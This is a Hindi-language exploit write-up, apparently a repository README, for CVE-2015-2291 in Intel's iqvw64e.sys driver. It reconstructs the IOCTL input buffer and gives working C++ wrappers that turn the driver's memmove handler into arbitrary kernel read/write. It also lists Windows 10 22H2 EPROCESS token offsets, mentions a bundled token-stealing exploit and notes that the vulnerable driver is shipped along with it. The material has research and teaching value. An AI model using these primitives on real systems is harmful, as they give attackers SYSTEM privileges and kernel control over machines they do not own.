
CVE-2015-2291 स्थानीय विशेषाधिकार वृद्धि PoC
CVE-2015-2291 लोकल प्रिविलेज एस्केलेशन PoC

यह प्रोजेक्ट ड्राइवर iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) में लोकल प्रिविलेज एस्केलेशन (LPE) भेद्यता के लिए एक शैक्षिक proof-of-concept है — यह Intel Ethernet डायग्नोस्टिक्स ड्राइवर है जो CVE-2015-2291 से संबद्ध है।
कर्नेल-मोड लोडर जैसे KDMapper में इस ड्राइवर का शोषण देखने के बाद, मैं इसे स्वयं रिवर्स करना चाहता था ताकि समझ सकूँ कि IOCTL डिस्पैच कैसे काम करता है, यह यूजरमोड को किस प्रकार के फंक्शन एक्सपोज़ करता है, और एक हमलावर उन्हें कैसे खोज या उपयोग कर सकता है। यह लेख स्टैटिक विश्लेषण से लेकर DeviceIoControl का उपयोग करके मेमोरी प्रिमिटिव बनाने तक की प्रक्रिया को समझाता है, और अंततः एक एक्सप्लॉइट बनाता है जो वर्तमान प्रक्रिया के एक्सेस टोकन को SYSTEM प्रक्रिया टोकन से बदलने के लिए उन प्रिमिटिव का दुरुपयोग करता है, जिससे प्रक्रिया प्रभावी रूप से SYSTEM विशेषाधिकारों तक एलिवेट हो जाती है।
Windows में, प्रत्येक प्रक्रिया एक एक्सेस टोकन से जुड़ी होती है जो उसकी पहचान और विशेषाधिकारों को परिभाषित करता है। कर्नेल में मनमाना read/write प्राप्त करके, कर्नेल की प्रक्रिया संरचना में संग्रहीत टोकन पॉइंटर को संशोधित करना संभव हो जाता है। इस पॉइंटर को SYSTEM प्रक्रिया के पॉइंटर से बदलने पर OS वर्तमान प्रक्रिया को SYSTEM के सुरक्षा संदर्भ से जोड़ देता है, जिससे उसे प्रभावी रूप से पूर्ण विशेषाधिकार मिल जाते हैं। और अधिक जानें यहाँ।
ड्राइवर IRP_MJ_DEVICE_CONTROL के लिए एक डिस्पैच रूटीन पंजीकृत करता है, जो यूजरमोड से DeviceIoControl कॉल को संभालता है। जैसा नीचे दिखाया गया है, यह sub_11150 की ओर जाता है, जो इनपुट IO कंट्रोल कोड के आधार पर कोड प्रवाह को निर्देशित करता है। इस मामले में, हम 0x80862007 में रुचि रखते हैं, जो हमें loc_111C2 तक ले जाता है।

loc_111C2 के माध्यम से नियंत्रण प्रवाह का अनुसरण करने पर, हम sub_113C0 तक पहुँचते हैं। यह एक इनपुट बफर (a1) प्राप्त करता है और उस बफर के पहले QWORD को आंतरिक हैंडलर फंक्शनों की जंप टेबल में इंडेक्स के रूप में उपयोग करता है। यहाँ, ड्राइवर निम्नलिखित कार्य करता है:
a1 → पहला QWORD (0x0) → jump_table_index पढ़ता है
इस इंडेक्स के आधार पर स्विच करता है
संबंधित आंतरिक फंक्शन पर डिस्पैच करता है
a1 के शेष फ़ील्ड को तर्क के रूप में उपयोग करता है
अब हम जानते हैं कि इनपुट बफर डिस्पैच लक्ष्य और उसके पैरामीटर्स दोनों को नियंत्रित करता है। विश्लेषण जारी रखते हुए हम इनपुट बफर संरचना को और परिभाषित करेंगे।
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmove प्रिमिटिव की पहचानजंप टेबल के मामलों का विश्लेषण करते समय, मैंने ऐसे हैंडलर खोजे जो memmove या memcpy से मिलते जुलते हों। case 0x33 पर, ड्राइवर sub_11EA0 को कॉल करता है, जिसमें इनपुट बफर के तीन फ़ील्ड पास होते हैं। यह स्पष्ट रूप से मेमोरी कॉपी जैसा दिखता है:

sub_11EA0 खोलने पर, हमें अपेक्षित सिग्नेचर मिलता है:
void* memmove( void* dest, const void* src, std::size_t count );
डिसअसेंबली पुष्टि करती है कि:
Argument a1 = destination
Argument a2 = source
Argument a3 = length

इस जानकारी के साथ, अब हम memmove कॉल के लिए अपेक्षित इनपुट बफर लेआउट को पूरी तरह से पुनर्निर्मित कर सकते हैं:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
अब हम समझते हैं कि ड्राइवर को एक मान्य MEMMOVE_INPUT_BUFFER भेजकर, जिसमें:
jump_table_index = 0x33
source, destination, और length आवश्यकतानुसार सेट हों,
हम ड्राइवर को मनमाने पतों पर memmove कॉल करने का निर्देश दे सकते हैं, जिससे हमें यूजरमोड से पूर्ण कर्नेल मेमोरी read/write क्षमताएँ मिल जाती हैं।
इस प्रिमिटिव के चारों ओर बनाए गए यूजरमोड रैपर नीचे दिए गए हैं:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
ये सहायक फंक्शन कर्नेल वर्चुअल मेमोरी में मनमाने 64-बिट रीड और राइट की अनुमति देते हैं। इस बिंदु से, विभिन्न हमले संभव हो जाते हैं (जैसे EPROCESS टोकन चोरी), लेकिन यह लेख पुनर्निर्माण और विश्लेषण पर केंद्रित है। आप पाएंगे कि main.cpp में Eap2468 के CVE-2021-2155 की ओर से एक PoC EPROCESS टोकन चोरी एक्सप्लॉइट शामिल है।
Windows संस्करण: 10 x64 22H2 (19045.6466)
EPROCESS ऑफसेट:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8ड्राइवर: iqvw64e.sys (आपकी सुविधा के लिए ड्राइवर बाइनरी रिपॉजिटरी में शामिल की गई है)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
